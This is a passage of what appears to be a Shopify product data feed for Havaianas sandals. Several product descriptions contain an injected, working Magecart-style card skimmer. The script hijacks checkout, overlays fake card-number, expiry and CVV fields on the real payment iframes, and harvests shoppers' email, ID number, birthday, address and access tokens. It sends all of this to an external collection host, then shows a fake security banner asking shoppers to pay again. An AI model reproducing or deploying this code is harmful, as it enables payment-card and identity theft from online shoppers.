||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n","brand":"Havaianas","offers":[{"title":"Areia \/ Único","offer_id":46161713332481,"sku":"4149846_0154_998","price":109.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149846-0154-bone-logo-0.png?v=1745435085"},{"product_id":"chinelo-havaianas-power-2-0-4145492_0536","title":"Chinelo Havaianas Power 2.0","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eHora de você colocar o seu estilo para jogo com as Havaianas Power 2.\u003cbr\u003e0.\u003cbr\u003e Hit entres os consumidores, o modelo é sucesso porque tem design diferenciado e sola com borracha extramacia.\u003cbr\u003e É ideal para relaxar os pés antes e depois de praticar esportes.\u003cbr\u003e Disponível em tons predominantemente primários, uma tendência atual, é o produto certeiro para quem quer conforto.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Azul Indigo \/ 37\/38","offer_id":46208067371265,"sku":"4145492_0536_378","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Azul Indigo \/ 39\/40","offer_id":46208067404033,"sku":"4145492_0536_390","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Azul Indigo \/ 41\/42","offer_id":46208067436801,"sku":"4145492_0536_412","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Azul Indigo \/ 43\/44","offer_id":46208067469569,"sku":"4145492_0536_434","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Azul Indigo \/ 45\/46","offer_id":46208067502337,"sku":"4145492_0536_456","price":94.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4145492-0536-power-2-0-0.png?v=1744395279"},{"product_id":"chinelo-havaianas-power-2-0-4145492_3744","title":"Chinelo Havaianas Power 2.0","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eHora de você colocar o seu estilo para jogo com as Havaianas Power 2.0.\u003cbr\u003eHit entres os consumidores, o modelo é sucesso porque tem design diferenciado e sola com borracha extramacia.\u003cbr\u003eÉ ideal para relaxar os pés antes e depois de praticar esportes.\u003cbr\u003eDisponível em tons predominantemente primários, uma tendência atual, é o produto certeiro para quem quer conforto.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Cinza Aço \/ 37\/38","offer_id":46208067731713,"sku":"4145492_3744_378","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 39\/40","offer_id":46208067764481,"sku":"4145492_3744_390","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 41\/42","offer_id":46208067797249,"sku":"4145492_3744_412","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 43\/44","offer_id":46208067830017,"sku":"4145492_3744_434","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 45\/46","offer_id":46208067862785,"sku":"4145492_3744_456","price":94.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4145492-3744-power-2-0-0.png?v=1744395705"},{"product_id":"chinelo-havaianas-power-2-0-4145492_5568","title":"Chinelo Havaianas Power 2.0","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try 